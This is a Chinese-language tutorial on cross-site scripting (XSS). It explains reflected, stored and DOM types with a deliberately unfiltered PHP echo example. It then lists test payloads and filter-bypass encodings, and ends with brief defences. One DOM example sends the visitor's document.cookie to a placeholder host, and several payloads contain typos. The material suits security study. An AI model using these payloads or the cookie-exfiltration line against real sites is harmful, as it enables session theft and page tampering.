简介

跨站脚本攻击-XSS(Cross Site Script),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。

是指攻击者通过Web页面中写入恶意JavaScript代码,造成用户在浏览页面时,嵌入其中的JavaScript代码会被执行,导致控制用户浏览器进行操作的攻击方式。

XSS 的危害

  • 盗取 Cookie
  • 流量劫持
  • 网络钓鱼
  • 篡改页面信息
  • 获取信息
  • 恶意弹框
  • 配合CSRF进行蠕虫攻击

XSS 漏洞分类

反射型

非持久型,常见的就是在URL中构造,将恶意链接发送给目标,诱导目标访问该链接,造成用户向目标服务器发起GET请求

整个过程中,服务端只是接受数据然后处理,返回数据到浏览器,服务器并不储存XSS代码

储存型

持久型,当攻击者提交一段XSS代码后,被服务器接收并储存,当访客访问这个页面时,这段代码被程序运行响应给浏览器,造成XSS攻击。

常见的地方就是在博客留言板,反馈投诉,论坛文章、评论等,将恶意代码和正常的提交都保存在数据库,每次访问都会触发该代码

1
<srcipt>alert(/xss/)</srcipt>

DOM型

DOM型是特殊的反射型XSS,在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的 Document Object 文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性,方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。

也就是说,客户端的脚本程序可以通过 DOM 来动态修改页面内容,从客户端获取 DOM 中的数据并在本地执行,从而造成XSS漏洞的利用

1
<script>var img=document.createElement("img");img.src="http://xxxx/a?"+escape(document.cookie);</script>

漏洞原理

代码中没有对用户的输入进行任何过滤,导致用户输入的字符串被当作代码执行

如以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS</title>
</head>

<body>
<form action="" method="get">
<input type="text" name="input">
<input type="submit">
</form>
<br>

<?php
$Xss = $_GET['input'];
echo 'output:<br>'.$Xss;
?>
</body>
</html>

在上述代码中我们可以看到,用户所有的输入通过HTTP GET方法的预定义变量$_GET[]传入到变量$Xss中,又被echo()函数直接输出,这其中代码没有对用户的输入进行任何的过滤

如果我们在输入中添加 JavaScript 代码

1
<script></script>

那么代码中的语句就会变成下面这个样子

1
echo 'output:<br>'.'<script>alert(/xss/)</script>';

在网页中是以这样显示的,<script>被当作了元素块

1
ouput:<br><script>alert(/xss/)</script>

虽然在代码中这只是一个保存在变量$Xss中的一串字符串

但是当代码通过浏览器显示出来,会被浏览器识别,当作JavaScript语句执行,如下所示

测试 XSS 语句

1
2
3
4
5
6
7
<script>alert(/xss/);</script>

<BODY ONLOAD=alert('XSS')>
<img src="javascript:alert(1);">
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href = javasript:alert(1)>

漏洞特征

所有用户控制输入的地方

  • URL

  • 论坛

  • 评论

  • 文章发布

  • 搜索框

  • 表单提交

  • 反馈

  • HTTP参数

    。。。

漏洞利用

反弹cookie

1
2
<script>alert(document.cookie)</script>
<img src=## onerror=alert(document.cookie)>

XSS 漏洞绕过

XSS 关键字变型

大小写转换

1
2
3
4
5
6
7
8
9
# 只对标签有效,对JavaScript的对象无效
# 初始语句
<img src="javascript:alert(1);">

# 大写转换
<img src="JAVASCRIPT:alert(1);">

# 大小写混淆
<iMg sRc="JaVaScRipt:alert(1);">

空格回车TAB绕过

1
2
3
4
5
6
7
# TAB绕过
<img src="javas cript:alert(1);">

# 回车绕过
<img src="javas
cript:
alert(1);">

不使用空格,引号

1
<img/src=javascript:alert(1);>

利用注释符

1
<div style="left:expre/**/ssion(alert(/xss/));">

XSS 关键字编码

URL 编码

URL编码也叫做Escape编码

1
2
3
4
5
# 原语句
<script>alert(/xss/)</script>

# Escape编码
%3Cscript%3Ealert%28/xss/%29%3C/script%3E

HTML 实体编码

HTML实体编码其实就是ASCII编码

编码以&开头,以;结尾

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 原语句
<script>alert(/xss/)</script>

# 通过函数eval()
<img src=x onerror=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>

# 把符号转换为实体名称
&lt;script&gt;alert(/xss/)&lt;/script&gt;

# 把所有字符转换为实体编号
&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#97;&#108;&#101;&#114;&#116;&#40;&#47;&#120;&#115;&#115;&#47;&#41;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;

# 把所有字符转换为16进制的实体编号
&#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x2F;&#x78;&#x73;&#x73;&#x2F;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;

Unicode编码

只能以命令执行的方式绕过

1
2
3
4
5
# 原语句
<img src=x onerror=alert(1)>

# Unicode编码,需要通过eval()函数执行语句
<img src=x onerror=eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')>

防御措施

  • 对输入的数据进行实例化
    • PHP-htmlspecialchars 函数
  • 对特定字符做编码转换
  • 过滤符号<>''""&\#%